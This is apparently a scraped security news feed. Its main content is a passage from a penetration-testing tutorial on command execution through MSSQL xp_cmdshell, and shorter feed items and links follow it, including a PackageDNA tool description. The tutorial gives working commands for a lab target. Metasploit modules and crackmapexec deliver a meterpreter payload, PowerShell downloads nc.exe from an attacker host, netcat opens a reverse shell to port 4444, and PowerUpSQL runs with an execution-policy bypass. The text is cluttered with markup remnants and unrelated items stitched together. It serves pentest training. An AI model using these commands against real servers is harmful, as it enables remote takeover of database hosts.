dYMIrVuaoR1TRe9lknSuHhHbVACLcBGAsYHQ/s16000/16.png Enabling xp_cmdshell: Metasploit<o:pMetasploit can also be helpful if we want to enable the XP command shell functionality. For this, we will have to use the exploit/windows/mssql/mssql_payload Exploit. This exploit requires a couple of options, such as setting the rhost which contains the IP address of the target machine, the password to access that particular machine. To approach the target machine and run particular commands on it, it first enables the XP command shell functionality on the target machine.<o:p use exploit/windows/mssql/mssql_payload<o:pset rhosts 192.168.1.146<o:pset password Password@1<o:pexploit<o:phttps://1.bp.blogspot.com/-mYMbcfn_VEk/YR_piH8xHFI/AAAAAAAAyPg/bs44rRpMr647TghZ3-axu8WD5kZ3r9VCgCLcBGAsYHQ/s16000/20.png The exploit does not stop at just enabling the XP command shell. It then runs a series of commands that can help to get us a meterpreter shell on the target machine as shown in the image below. <o:p https://1.bp.blogspot.com/-QfTfLnZCCX0/YR_pqonM_OI/AAAAAAAAyPo/QKi1frc7440WFLHOXg2eQdlaUOk9aR7CgCLcBGAsYHQ/s16000/21.png Exploiting xp_cmdshell: Metasploit<o:pIn case you don’t want to get the meterpreter on the target machine, instead just want to present a proof of concept for the vulnerability of the target machine, you can use another exploit which is. Auxiliary/admin/mssql/mssql_exec this particular exploit also requires few options such as rhost which contains the IP address of the target machine, the password for accessing the target machine, and cmd for setting the particular command that you want to run on the target machine. In the demonstration, we will just run the IP config command to show that we can run any system commands on the target machine with the help of this exploit.<o:p use auxiliary/admin/mssql/mssql_exec<o:pset rhosts 192.168.1.146<o:pset password Password@1<o:pset cmd “ipconfig”<o:pexploit<o:phttps://1.bp.blogspot.com/-y4TYgy-AyH4/YR_pv3uAFNI/AAAAAAAAyPs/R2pdKhHn9IgEf0FJfQ0ujb277YE0Qe_ngCLcBGAsYHQ/s16000/22.png Exploiting xp_cmdshell: Netcat<o:pAs we discussed earlier, the XP command shell can run system commands and access system resources on the target machine. We can use it to get a reverse connection on the target machine. To do so, we first need to transfer the netcat binary file to the Windows machine. For this, we will use the nc.exe executable. This file is located at /usr/share/windows-binaries. Then we can use the Python one-liner to create an HTTP service. <o:p cd /usr/share/windows-binaries<o:pls -al<o:ppython -m SImpleHTTPServer 80<o:phttps://1.bp.blogspot.com/-Z9LefqgpLJE/YR_p1nURgJI/AAAAAAAAyPw/I2lTxfxsB0k8rxscpFy04mSyGfw5RkoPwCLcBGAsYHQ/s16000/30.png Moving on to the XP command shell, we just use the powershell.exe cmdlet to invoke PowerShell and then use the wget command to access that particular file that we just hosted. Then we will transfer this particular file into the C:/Users/Public directory, which has the access to write. Then we will use the XP command shell to execute the netcat binary to run cmd.exe. To the creating a reverse connection to the host Kali Machine on Port 4444.<o:p xp_cmdshell "powershell.exe wget http://192.168.1.2/nc.exe -OutFile c:\\Users\Public\\nc.exe"<o:pxp_cmdshell  "c:\\Users\Public\\nc.exe -e cmd.exe 192.168.1.2 4444"<o:phttps://1.bp.blogspot.com/-mWlHw8tp3Uo/YR_p6A4AIEI/AAAAAAAAyP0/pikp__CUTNk-7E228CeWATBqdo----EpQCLcBGAsYHQ/s16000/31.png We will, however, create a netcat listener on the Kali machine before running the previous command of generating a reverse connection. This listener well captured the shell as soon as the command is executed and, a session is generated. Here we can see that upon running the whoami command on the shell, we find that the shell that we have is for [...]

the NT service\mssql$sqlexpress user.<o:p nc -lvp 4444<o:pwhoami<o:phttps://1.bp.blogspot.com/-vpUE11Ic9iI/YR_qFUvb05I/AAAAAAAAyQA/MgZDMCYAmTcVHDYuNPKOWdRanJRHOdvkACLcBGAsYHQ/s16000/32.png Exploiting xp_cmdshell: Crackmapexec<o:pAnother method to get a reverse connection on the target machine from the Ms SQL XP command Shell functionality is by using its ability to run system commands associated with the web_delivery payload. The process is quite simple, we just use the exploit/multi/script/web_delivery exploit, set the target as the Windows machine then set the payload as windows/meterpeter/reverse_tcp. then set the local host to the IP address of the kali machine. Finally, we will run the exploit command. This would create a payload and host that particular payload on a port that in our case is 8080. <o:p use exploit/multi/script/web_delivery<o:pset target 2<o:pset payload windows/meterpreter/revese_tcp<o:pset lhost 192.168.1.2<o:pexploit<o:phttps://1.bp.blogspot.com/-P-mTOE2P53c/YR_qOGA6iqI/AAAAAAAAyQI/IZAaD6iLWAsiEhyuMm8rPFw60OwKaKgPQCLcBGAsYHQ/s16000/45.png Now to get this particular payload downloaded and run on the target machine. We will take the help of the crackmapexac tool with Ms SQL protocol running with the IP address of the target machine with the username Ignite. And the password for that particular user also, stating the payload method as web_delivery with the URL that the web_delivery payload generated as shown in the image below. After running the crackmapexac would show that the target has been pawned.<o:p crackmapexec mssql 192.168.1.146 -u 'ignite' -p 'Password@123' -M web_delivery -o URL=http://192.168.1.2:8080/om6cxs3B<o:phttps://1.bp.blogspot.com/-YLsEnBOpGig/YR_qTW6K6yI/AAAAAAAAyQM/vj8_ZMBiUMAhOtmgzmFycX9mF04ZzlH-gCLcBGAsYHQ/s16000/46.png When the crackmapexec shows that the target has been pawned, we can go back to the Metasploit shell and find that the target has been exploited successfully and we have a meterpreter shell on the target machine.<o:p https://1.bp.blogspot.com/-M8m6w6AYZ4Y/YR_qXBsBngI/AAAAAAAAyQU/HtUdlhbFTGgl7-818ZLMtPFVB76dLgIYgCLcBGAsYHQ/s16000/47.png Exploiting xp_cmdshell: Nmap<o:pNext, we will be using the nmap tool to enumerate that the particular target that we are attacking has enabled the XP command shell functionality with the help of a script scan with the script as ms-sql-xp-cmdshell. We can also provide the script arguments which contain the username for that Ms SQL database user and the password for that particular user. After that we can also provide the command that we want to run on the target machine in case, the XP command shell functionality is enabled on the target machine. In the demonstration below, we tried to run the net user command on the target machine as we can see from the image that the target machine had the XP command shell functionality enabled and the nmap was able to run the Net user command successfully on the target machine showing that the target machine has users such as administrator and Ignite.<o:p nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.passsword=Password@1,ms-sql-xp-cmdshell.cmd=’net user’ 192.168.1.146<o:phttps://1.bp.blogspot.com/-HhI0NPmilbY/YR_qcM9n1FI/AAAAAAAAyQY/SqWKR3Z3OrUp09SWW9pIC7B_1ql5ZOjSQCLcBGAsYHQ/s16000/48.png Exploiting xp_cmdshell: PowerUpSQL<o:pLast but not the least, we will be using the PowerUpSQL tool on the Windows machine to use this particular tool. We have downloaded the power of SQL directly from its GitHub repository. Then we have opened up a cmd shell on that machine, we can directly use the PowerShell on the machine as well. Since we have the cmd shell, we run the powershell command to get the PowerShell on the machine. Next, we will be using the EP i.e., execution policy bypass so that we can import the PowerShell script of the PowerU[...]

pSQL. Now that we have access to importing and executing the scripts on the machine. We can use the Import-Module cmdlet to import the PowerShell. Script. Then use the Invoke-SQLOSCmd command with parameters such as username, a password containing the credential for the database user. Followed by the instance that we want to run that particular command in. In our case, it is the SQL Express. Then we have the command that we want to run, which here we have selected The whoami command. Again, after executing this particular command first, the tool PowerUpSQL tries to connect with the database, after the connection is successful, it checks if the user credentials that we have provided are for sysadmin or the users that we have provided have sysadmin access or not, then it runs the commands in a similar way that we did earlier with sqsh. It first enables the advanced options and then tries to enable the XP command shell functionality. Here, in this demonstration, the XP commands functionality is already enabled, so the tool just moves on to run the whoami command which shows that we are the user and nt service/MSSQL$sqlexpress user.<o:p cd PowerUPSQL-master<o:ppowershell -ep bypass<o:pImport-Module .\PowerUpSQL.psq<o:pInvoke-SQLOSCmd -Username sa -Password Password@1 -Instance  WIN-P83OS778EQK\SQLEXPRESS –Command whoami –Verbose<o:phttps://1.bp.blogspot.com/-kN3UTEONcgQ/YR_q63mDkyI/AAAAAAAAyQs/b4BbISjwmuQmY6up2h4jQxhXo1lo7-H4gCLcBGAsYHQ/s16000/50.png Conclusion<o:p

This article was designed to provide the users with possible content that can help them whenever they want to perform penetration testing on Ms SQL Server where there is a chance that they could enable the XP command shell functionality or the XP command shell functionality already enabled. The point of this article is not to speculate on how the user can get the credentials or how they were able to elevate its sysadmin access but, when or if the user was able to get those privileges, they can move on to extract and execute multiple commands on the target system and do more damage. <o:p

hacking: security in practice
1Password Secret Retrieval — Methodology and Implementation

https://posts.specterops.io/1password-secret-retrieval-methodology-and-implementation-6a9db3f3c709

submitted by /u/losthuman42
[link] [comments]
➖ Sent by @TheFeedReaderBot ➖

Hacking on Medium
Hack The Box — Bounty Hunter

https://cdn-images-1.medium.com/max/1174/1*J8i204KT8yOffwM2Feb7ww.png
This machine is a beginner friendly machine. The root flag especially tests your mindset of privilege escalation.
I opened the website and…

Continue reading on Medium »

Hacking on Medium
Apple’s NeuralHash — How it works and ways to break it

https://cdn-images-1.medium.com/max/600/1*Hkagch3pdtqpImcwH8oXVA.png
A guide to the technology, its vulnerabilities and possible mitigations

Continue reading on Medium »

What are the top 5 reverse lookups for online investigations?
https://www.reddit.com/r/Pentesting/comments/p8cwik/what_are_the_top_5_reverse_lookups_for_online/

submitted by /u/justbrowsingtosay (https://www.reddit.com/user/justbrowsingtosay)
[link] (https://medium.com/@CyberGuyknows/what-are-the-top-5-reverse-lookups-for-online-investigations-6db8835c431f) [comments] (https://www.reddit.com/r/Pentesting/comments/p8cwik/what_are_the_top_5_reverse_lookups_for_online/)

PackageDNA - Tool To Analyze Software Packages Of Different Programming Languages That Are Being Or Will Be Used In Their Codes
http://www.kitploit.com/2021/08/packagedna-tool-to-analyze-software.html

This tool gives developers, researchers and companies the ability to analyze software packages of different programming languages that are being or will be used in their codes, providing information that allows them to know in advance if this library complies with processes. secure development, if currently supported, possible backdoors (malicious embedded code), typosquatting (https://www.kitploit.com/search/label/Typosquatting) analysis, the history of versions and reported vulnerabilities (https://www.kitploit.com/search/label/vulnerabilities) (CVEs) of the package.
Installation
Clone this repository with: git clone https://github.com/ElevenPaths/packagedna PackageDNA uses python-magic which is a simple wrapper around the libmagic C library, and that MUST be installed as well: Debian/Ubuntu
$ sudo apt-get install libmagic1

Windows
You will need DLLs for libmagic. @julian-r has uploaded a version of this project that includes binaries
to PyPI: https://pypi.python.org/pypi/python-magic-bin/0.4.14
Other sources of the libraries in the past have been File for Windows.
You will need to copy the file magic out of [binary-zip]\share\misc, and pass its location to Magic(magic_file=...).

If you are using a 64-bit build of python, you will need 64-bit libmagic binaries which can be found here: https://github.com/pidydx/libmagicwin64.
Newer version can be found here: https://github.com/nscaife/file-windows.

OSX
When using Homebrew: brew install libmagic
When using macports: port install file


More details: https://pypi.org/project/python-magic/ Run setup for installation: python3 setup.py install --user
External Modules
PackageDNA uses external modules for its analysis (https://www.kitploit.com/search/label/Analysis) that you should install previously: Microsoft AppInpsector https://github.com/microsoft/ApplicationInspector Virus Total API https://www.virustotal.com/ LibrariesIO API https://libraries.io/ Rubocop https://github.com/rubocop/rubocop After installation you should configure the external modules, in the option [7] Configuration of the main menu. VirusTotal API Key: Your API KEY [2] AppInspector absolute path: /Local/Path/MSAppInpsectorInstallation [3] Libraries.io API Key: Your API KEY [4] Github Token: Your Token [B] Back [X] Exit ">[1] VirusTotal API Key: Your API KEY
[2] AppInspector absolute path: /Local/Path/MSAppInpsectorInstallation
[3] Libraries.io API Key: Your API KEY
[4] Github Token: Your Token
[B] Back
[X] Exit NOTE: External modules are not mandatory. PackageDNA will continue its execution, however we recommend making all the configurations of these modules so that the tool performs a complete analysis
Running PackageDNA
Inside the PackageDNA directory: ./packagedna.py Analyzer Framework By ElevenPaths https://www.elevenpaths.com/ Usage: python3 ./packagedna.py [*] -------------------------------------------------------------------------------------------------------------- [*] [!] Select from the menu: [*] -------------------------------------------------------------------------------------------------------------- [*] [1] Analyze Package (Last Version) [2] Analyze Package (All Versions) [3] Analyze local package [4] Information gathering [5] Upload file and analyze all Packages [6] List previously analyzed packages [7] Configurations [X] Exit [*] -------------------------------------------------------------------------------------------------------------- [*] [!] Enter your selection: ">_____ _ ____ __ _ _______
| __ \ | | | __ \ | \ | || ___ |
| |__) |__ __ ____ | | __ __ __ ____ ___ | | \ \ | |\ \ | || |___| |
| ___// _` |/ __)| |/ / / _` | / _ | / _ \| | | || | \ \| || ___ |
| | | (_| || (__ | |\ \ | (_| || (_| || __/| |__/ / | | \ || | | |
|_| \__,_|\____)|_| \_\ \__,_| \__ | \___||_____/ |_| \__||_| |_|

__| |
(____|

Modular Packages Analyzer Framework
By ElevenPaths https://www.elevenpaths.com/
Usage: python3 ./packagedna.py

[*] -------------------------------------------------------------------------------------------------------------- [*]
[!] Select from the menu:
[*] -------------------------------------------------------------------------------------------------------------- [*]
[1] Analy ze Package (Last Version)
[2] Analyze Package (All Versions)
[3] Analyze local package
[4] Information gathering
[5] Upload file and analyze all Packages
[6] List previously analyzed packages
[7] Configurations
[X] Exit
[*] -------------------------------------------------------------------------------------------------------------- [*]
[!] Enter your selection:

Download Packagedna (https://github.com/Telefonica/packagedna)

Hacking Articles
MSSQL for Pentester: Command Execution with xp_cmdshell

This article is the series of MSSQL for pentester, here we will discover and exploit the security aspects of the xp_cmdshell functionality. Table of Content Introduction What is xp_cmdshell? Enabling xp_cmdshell Manually (GUI) sqsh mssqlclient.py Exploiting xp_cmdshell Metasploit Netcat Crackmapexec Nmap PowerUpSQL Introduction All the demonstrations in this article will

The post MSSQL for Pentester: Command Execution with xp_cmdshell appeared first on Hacking Articles.

Let’s build an API to hack — Part 4: Mass assignment

The developers forgot to protect this one crucial property, now we will hack it.Continue reading on Medium »
Read more...

How I was able to get 1000$ bounty from a ds-store file?

Let’s start?Continue reading on Medium »
Read more...

Let’s build an API to hack — Part 4: Mass assignment
https://thexssrat.medium.com/lets-build-an-api-to-hack-part-4-mass-assignment-fe403e9a4a96?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video